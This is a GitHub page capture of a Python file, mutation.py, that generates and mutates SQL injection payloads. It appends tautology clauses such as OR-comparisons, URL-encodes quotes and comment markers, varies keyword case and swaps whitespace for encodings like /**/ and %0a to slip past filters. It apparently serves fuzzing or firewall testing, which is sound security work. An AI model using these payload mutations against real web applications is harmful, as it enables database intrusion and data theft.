-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathmutation.py
93 lines (79 loc) · 2.92 KB
/
mutation.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import random
def tautolog(input):
rand = random.randint(1, 6)
switch = {
1: lambda: input + ' [blank] OR [blank] [randchar] = [randchar]',
2: lambda: input + ' [blank] OR [blank] [randint] < [randint]+1',
3: lambda: input + ' [blank] OR [blank] [randint]+1 > [randint]',
4: lambda: input + ' [blank] OR [blank] [randchar] in ( [randchar], [randchar]+1 ) ',
5: lambda: input + ' [blank] OR [blank] [randchar] like [randchar]',
6: lambda: input + ' [blank] OR [blank] [randint] between [randint]-1 and [randint]+1'
}
output = switch.get(rand)()
return output
def unicode(input):
rand = random.randint(1, 5)
switch = {
1: lambda: input.replace('\'', '%27'),
2: lambda: input.replace('\"', '%22'),
3: lambda: input.replace(')', '%29'),
4: lambda: input.replace('#', '%23'),
5: lambda: input.replace('--', '%2d%2d')
}
output = switch.get(rand)()
return output
def ascii(input):
output = input.replace('[randchar]', '[randascii]')
return output
def keyword_or(input):
rand = random.randint(1, 4)
switch={
1: lambda :input.replace('OR', '||'),
2: lambda :input.replace('OR', 'Or'),
3: lambda :input.replace('OR', 'or'),
4: lambda :input.replace('OR', 'oR')
}
output = switch.get(rand)()
return output
def keyword_and(input):
rand = random.randint(1, 8)
switch={
1: lambda :input.replace('AND', '&&'),
2: lambda :input.replace('AND', 'and'),
3: lambda :input.replace('AND', 'And'),
4: lambda :input.replace('AND', 'aNd'),
5: lambda :input.replace('AND', 'anD'),
6: lambda :input.replace('AND', 'aND'),
7: lambda :input.replace('AND', 'AnD'),
8: lambda :input.replace('AND', 'ANd')
}
output = switch.get(rand)()
return output
def keyword_select(input):
rand = random.randint(1, 8)
switch = {
1: lambda :input.replace('SELECT', 'sELECT'),
2: lambda :input.replace('SELECT', 'SeLECT'),
3: lambda :input.replace('SELECT', 'SElECT'),
4: lambda :input.replace('SELECT', 'SELeCT'),
5: lambda :input.replace('SELECT', 'SELEcT'),
6: lambda :input.replace('SELECT', 'SELECt'),
7: lambda :input.replace('SELECT', 'AnD'),
8: lambda :input.replace('SELECT', 'ANd')
}
output = switch.get(rand)()
return output
def blank(input):
rand = random.randint(1, 8)
switch = {
1: lambda: input.replace('[blank]','+'),
2: lambda: input.replace('[blank]', '/**/'),
3: lambda: input.replace('[blank]', '%20'),
4: lambda: input.replace('[blank]', '%09'),
5: lambda: input.replace('[blank]', '%0a'),
6: lambda: input.replace('[blank]', '%0b'),
7: lambda: input.replace('[blank]', '0c'),
8: lambda: input.replace('[blank]', '%0d')
}
output = switch.get(rand)()
return output